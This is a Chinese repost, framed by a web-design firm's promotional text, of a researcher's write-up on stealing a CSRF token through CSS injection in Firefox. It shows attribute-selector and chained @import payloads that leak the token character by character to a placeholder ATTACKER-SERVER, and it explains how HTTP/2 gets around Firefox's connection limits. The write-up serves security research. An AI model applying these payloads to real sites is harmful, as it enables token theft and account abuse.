這篇文章主要介紹了在Firefox瀏覽器中如何利用CSS竊取數(shù)據(jù),具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
目前成都創(chuàng)新互聯(lián)公司已為1000+的企業(yè)提供了網(wǎng)站建設(shè)、域名、網(wǎng)絡(luò)空間、網(wǎng)站運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、朝陽(yáng)網(wǎng)站維護(hù)等服務(wù),公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長(zhǎng),共同發(fā)展。0x00 前言
幾個(gè)月之前,我在Firefox中找到了一個(gè)漏洞( CVE-2019-17016 )。在研究過(guò)程中,我發(fā)現(xiàn)了在Firefox瀏覽器中利用CSS的一種數(shù)據(jù)竊取技術(shù),可以通過(guò)單個(gè)注入點(diǎn)竊取數(shù)據(jù),這里我想與大家一起分享相關(guān)研究成果。
0x01 背景知識(shí)
為了演示方便,這里假設(shè)我們想竊取<input>
元素中的CSRF令牌。
<input type="hidden" name="csrftoken" value="SOME_VALUE">
我們無(wú)法使用腳本(可能是因?yàn)镃SP),因此想尋找基于樣式的注入方法。傳統(tǒng)方法是使用屬性選擇器,如下所示:
input[name='csrftoken'][value^='a'] { background: url(//ATTACKER-SERVER/leak/a); } input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ... input[name='csrftoken'][value^='z'] { background: url(//ATTACKER-SERVER/leak/z); }
如果應(yīng)用了CSS規(guī)則,那么攻擊者就能收到HTTP請(qǐng)求,從而獲取到令牌的第1個(gè)字符。隨后,攻擊者需要準(zhǔn)備另一個(gè)樣式表,其中包含已竊取的第1個(gè)字符,如下所示:
input[name='csrftoken'][value^='aa'] { background: url(//ATTACKER-SERVER/leak/aa); } input[name='csrftoken'][value^='ab'] { background: url(//ATTACKER-SERVER/leak/ab); } ... input[name='csrftoken'][value^='az'] { background: url(//ATTACKER-SERVER/leak/az); }
通常情況下,攻擊者需要重新加載<iframe>
中已加載的頁(yè)面,以便提供后續(xù)樣式表。
在2018年, Pepe Vila 提出了一個(gè)非常不錯(cuò)的想法,可以在Chrome瀏覽器中濫用 CSS遞歸import 方式,通過(guò)單個(gè)注入點(diǎn)完成相同任務(wù)。在2019年,Nathanial Lattimer( @d0nutptr )重新提出了相同 技巧 ,但稍微做了點(diǎn)改動(dòng)。下面我稍微總結(jié)一下Lattimer的方法,這種方法與本文的思想比較接近(但我在此次研究過(guò)程中并不了解Lattimer之前的成果,因此可能有人會(huì)認(rèn)為我在重復(fù)造輪子)。
簡(jiǎn)而言之,第一次注入用到了一堆import
:
@import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ...
核心思想如下:
1、在一開(kāi)始,只有第1個(gè)@import
會(huì)返回樣式表,其他語(yǔ)句處于連接阻塞狀態(tài)。
2、第1個(gè)@import
返回樣式表,泄露令牌的第1個(gè)字符。
3、當(dāng)泄露的第1個(gè)令牌到達(dá)ATTACKER-SERVER
,第2個(gè)import
停止阻塞,返回包含第1個(gè)字符的樣式表,嘗試泄露第2個(gè)字符。
4、當(dāng)?shù)?個(gè)泄露字符到達(dá)ATTACKER-SERVER
時(shí),第3個(gè)import
停止阻塞……以此類推。
這種技術(shù)之所以行之有效,是因?yàn)镃hrome會(huì)采用異步方式處理import
,因此當(dāng)任何import
停止阻塞時(shí),Chrome會(huì)立即解析該語(yǔ)句并應(yīng)用規(guī)則。
0x02 Firefox及樣式表處理
前面提到的方法并不適用于Firefox,與Chrome瀏覽器相比,F(xiàn)irefox對(duì)樣式表的處理方式大不相同。這里我以幾個(gè)案例來(lái)說(shuō)明其中差異。
首先,F(xiàn)irefox會(huì)采用同步方式處理樣式表。因此,當(dāng)樣式表中有多個(gè)import
時(shí),只有當(dāng)所有import
都處理完畢時(shí),F(xiàn)irefox才會(huì)應(yīng)用CSS規(guī)則??紤]如下案例:
<style> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </style>
假設(shè)第1個(gè)@import
返回CSS規(guī)則,將頁(yè)面背景設(shè)置為藍(lán)色,后續(xù)的import
處于阻塞狀態(tài)(比如永遠(yuǎn)不會(huì)返回任何內(nèi)容,會(huì)掛起HTTP連接)。在Chrome瀏覽器中,頁(yè)面會(huì)立即變?yōu)樗{(lán)色,而在Firefox中并不會(huì)有任何反應(yīng)。
我們可以將所有import
放在獨(dú)立的<style>
元素中,從而解決該問(wèn)題:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style>
在上面代碼中,F(xiàn)irefox會(huì)分別處理所有樣式表,因此頁(yè)面會(huì)立刻變藍(lán)色,其他import
會(huì)在后臺(tái)處理。
但這里還有另一個(gè)問(wèn)題,假設(shè)我們想竊取包含10個(gè)字符的令牌:
<style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style>
Firefox會(huì)立即將10個(gè)import
加入隊(duì)列。在處理完第1個(gè)import
后,F(xiàn)irefox會(huì)將帶有已知字符的另一個(gè)請(qǐng)求加入隊(duì)列。這里的問(wèn)題在于,該請(qǐng)求會(huì)被加到隊(duì)列末尾。而在默認(rèn)情況下,瀏覽器有個(gè)限制條件,到同一個(gè)服務(wù)器只能有6個(gè)并發(fā)連接。因此,帶有已知字符的請(qǐng)求永遠(yuǎn)不會(huì)到達(dá)目標(biāo)服務(wù)器,因?yàn)橐呀?jīng)有到該服務(wù)器的6個(gè)阻塞連接,最終出現(xiàn)死鎖現(xiàn)象。
0x03 HTTP/2
6個(gè)連接的限制條件由TCP層決定,因此到單個(gè)服務(wù)器只能有6個(gè)TCP連接同時(shí)存在。在這種情況下,我認(rèn)為HTTP/2可能派上用場(chǎng)。HTTP/2有許多優(yōu)點(diǎn),比如我們可以通過(guò)單個(gè)連接發(fā)送多個(gè)HTTP請(qǐng)求(也就是所謂的多路傳輸( multiplexing )),從而大大提升性能。
Firefox對(duì)單個(gè)HTTP/2連接的并發(fā)請(qǐng)求數(shù)也有限制,但默認(rèn)情況下限制數(shù)為100
(具體設(shè)置參考about:config
中的network.http.spdy.default-concurrent
)。如果我們需要更多并發(fā)數(shù),可以使用不同的主機(jī)名,強(qiáng)制Firefox創(chuàng)建第2個(gè)TCP連接。比如,如果我們創(chuàng)建到https://localhost:3000
的100
個(gè)請(qǐng)求,也創(chuàng)建到https://127.0.0.1:3000
的50
個(gè)請(qǐng)求,此時(shí)Firefox就會(huì)創(chuàng)建2個(gè)TCP連接。
0x04 利用方式
現(xiàn)在一切準(zhǔn)備就緒,我們的主要利用場(chǎng)景如下:
1、利用代碼基于HTTP/2。
2、通過(guò)/polling/:session/:index
端點(diǎn)可以返回CSS,泄露第:index
字符。該請(qǐng)求會(huì)處于阻塞狀態(tài),直到前一個(gè)請(qǐng)求成功泄露第index-1
個(gè)字符。:session
路徑參數(shù)用來(lái)區(qū)分多次攻擊行為。
3、通過(guò)/leak/:session/:value
端點(diǎn)來(lái)泄露整個(gè)令牌。這里:value
為獲取到的完整值,而不單單是最后一個(gè)字符。
4、為了強(qiáng)制Firefox向同一個(gè)服務(wù)器發(fā)起2個(gè)TCP連接,這里用到了兩個(gè)端點(diǎn),分別為https://localhost:3000
及https://127.0.0.1:3000
。
5、端點(diǎn)/generate
用來(lái)生成示例代碼。
我創(chuàng)建了一個(gè) 測(cè)試平臺(tái) ,目標(biāo)是通過(guò)這種方式竊取csrftoken
,大家可通過(guò) 此處 直接訪問(wèn)該平臺(tái)。
此外,我還在GitHub上托管了 PoC代碼 ,攻擊過(guò)程可參考 此處視頻 。
有趣的是,由于我們使用的是HTTP/2,因此攻擊過(guò)程非??焖伲坏?秒就能獲取到整個(gè)令牌。
0x05 總結(jié)
在本文中,我演示了如何利用1個(gè)注入點(diǎn),在不想重載頁(yè)面的情況下,通過(guò)CSS竊取數(shù)據(jù)。這里主要涉及2個(gè)要點(diǎn):
1、將@import
規(guī)則拆分成多個(gè)樣式表,后續(xù)import
不會(huì)阻塞瀏覽器對(duì)整個(gè)樣式表的處理。
2、為了繞過(guò)TCP并發(fā)連接數(shù)限制,我們需要通過(guò)HTTP/2發(fā)起攻擊。
感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“在Firefox瀏覽器中如何利用CSS竊取數(shù)據(jù)”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持創(chuàng)新互聯(lián)網(wǎng)站建設(shè)公司,,關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!
本文名稱:在Firefox瀏覽器中如何利用CSS竊取數(shù)據(jù)-創(chuàng)新互聯(lián)
轉(zhuǎn)載源于:http://www.rwnh.cn/article34/ddcgpe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供商城網(wǎng)站、服務(wù)器托管、網(wǎng)站策劃、面包屑導(dǎo)航、外貿(mào)建站、微信小程序
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容